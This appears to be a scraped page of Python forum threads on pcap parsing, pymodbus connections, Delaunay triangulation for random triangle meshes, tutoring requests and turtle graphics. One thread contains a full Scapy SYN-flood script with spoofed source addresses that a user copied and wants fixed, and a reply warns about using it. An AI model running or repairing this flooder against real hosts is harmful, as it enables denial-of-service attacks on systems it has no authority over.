|
|
Hmmm, a feature that you need on occasions for runtime..?
|
|
|
|
|
I have still not come across a problem that 'needs' this feature. But maybe that's because my blue sky thinking has so many clouds in it.
|
|
|
|
|
|
|
I am sorry whats the use of them in C++ (the first place I came across them) and now in Python what? why? The examples of how to use them not why...
|
|
|
|
|
How to create a anaimations using python
|
|
|
|
|
Hi,
I want to read the pcap file and devide the data into 64byte chunks.
If you need any more info, please let me know.
|
|
|
|
|
That depends on what you're doing with the file. Are you trying to read the file without interpreting the content? Or are you interpreting the content and doing something with that?
|
|
|
|
|
|
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
dstIP = raw_input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
when I run the code, the following error is shown:
Quote: WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
|
|
|
|
|
By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.
|
|
|
|
|
First of all, I'm not good at English. I'm trying to be politely..
I'm making a program that communicate some gateways using pymodbus(python 3.9, pymodbus 2.5.2).
Recently, when the program is working, I analyzed network via WireShark. and then I realize that each command(read_holding_registers, write_registers, ...) make a connection with server. like this,..
connect()
read_holding_registers()
close()
connect()
read_holding_registers()
close()
...,
Is it right?
I expect this,,
connect()
read_holding_registers(..)
read_holding_registers(..)
read_holding_registers(..) ...
close()
I think, first, making a connection, second, all commands are done, and finally destroy connection.
Of course, all commands are in a same function. but there is a delay time each command.
with ModbusClient('10.181.10.15', 502) as client:
client.connect()
for unit in range(80, 91):
time.sleep(0.3)
data = client.read_holding_registers(600, 40, unit=unit)
print('600 unit id = %d' % unit)
time.sleep(0.3)
data = client.read_holding_registers(700, 30, unit=unit)
print('700 unit id = %d' % unit)
client.close()
|
|
|
|
|
You need to query this with the owners of the pymodbus package.
|
|
|
|
|
I am new to this page and am hoping I have this in the right place.
I am using python combined with pygame to try and generate a screen that is full of random triangles that completely fill the screen with no gaps while each triangle has random length of sides. So it would be partially random while also taking into account the remaining spaces when generating so that it leaves no space uncovered but no overlapping either. IE. Black background and white triangles, the screen actually consists of 100 triangles but because they are all white the screen just looks solid white.
I originally tried to do this with random vertices and trying to connect the sides but that was... messy to say the least and didn't play nice.
Does anyone know any path I could look into for figuring this out?
I'm not looking for full code of having someone do it for me, I just need to figure this out and get an idea on either a method I'm not thinking of or some math I can look at for generation.
Forgive the long winded explanation.
|
|
|
|
|
This is an OK place to ask such a question, but you could also have used the Algorithms forum (because your question isn't specifically about coding in python).
If you scatter a random set of points around the screen and want to turn them into a triangular mesh, then Delaunay triangulation[^] is your friend.
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
|
|
|
|
|
Thanks for the location for posting thoughts on that!
Also huge thanks on the idea of the Delaunay Triangulation.
I was able to make an algorithm for creating a 500 point mesh with 1 point in each corner (to leave no gaps) and the rest randomized and implemented the triangulation and now I have a solid white screen of triangles and have them added to a list as they generate so that each triangle can be interacted with independently.
You have been of amazing assistance.
-Tairros
|
|
|
|
|
You're welcome. If you can implement the triangulation in a few hours, you obviously have the coding skills. Often it is just a word or two needed to point someone in the right direction. If only there were a taxonomy of algorithms, rather than a bunch of personal names!
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
|
|
|
|
|
Hello All,
Merry christmas,
My name is Nahid and I want to learn Python with someone who is professional. May I ask to anybody who likes to teach me?
Thanks
|
|
|
|
|
Hi Nahid!
Sorry, but we aren't a "teaching" service, and as nearly everybody here is a volunteer who has a "real job" to do very, very few of us would have the spare time that a commitment like one-to-one tutoring would require - and even fewer of those have any skill at teaching so it wouldn't be a good experience for anybody!
Look locally for a course - some colleges / governments do "night school" to train adults - and if you can't find one then look for a book: Addison Wesley and Wrox all do good good one. Read it cover to cover, and do all the exercises - they are there to help you use what you are learning which is the only way to build a skill. (You can watch as much of the Tour de France as you like, but it won't teach you to ride a bicycle!)
Good luck - hope it goes well for you.
"I have no idea what I did, but I'm taking full credit for it." - ThisOldTony
"Common sense is so rare these days, it should be classified as a super power" - Random T-shirt
AntiTwitter: @DalekDave is now a follower!
|
|
|
|
|
|
this is my code ,and how I code in python like Tennis racket
player1 = turtle.Turtle()
player1.speed(0)
player1.shape("circle")
player1.shapesize(stretch_len=3, stretch_wid=3)
player1.color("white")
player1.penup()
player1.goto(x=-350, y=0)
|
|
|
|
|
Very interesting, but do you have a question?
|
|
|
|
|
|